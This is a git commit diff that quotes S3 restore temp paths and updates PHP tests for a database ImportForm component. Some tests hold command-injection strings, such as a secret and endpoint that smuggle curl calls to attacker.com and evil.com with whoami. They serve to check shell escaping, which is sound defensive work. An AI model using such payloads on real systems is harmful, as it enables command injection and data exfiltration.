fix(database): quote S3 restore temp paths

Escape generated restore file paths before composing docker and shell cleanup commands so paths with spaces or metacharacters cannot break command execution. Update import form security coverage to target ImportForm directly.
This commit is contained in:
Andras Bacsai committed 2026-05-29 12:27:33 +02:00
1 parent 5abc01882e
commit c5fbf78bd8
4 files changed
+138 -54

No files matched your search

@@ -1,15 +1,11 @@
<?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
use App\Livewire\Project\Database\ImportForm;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component = new ImportForm;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);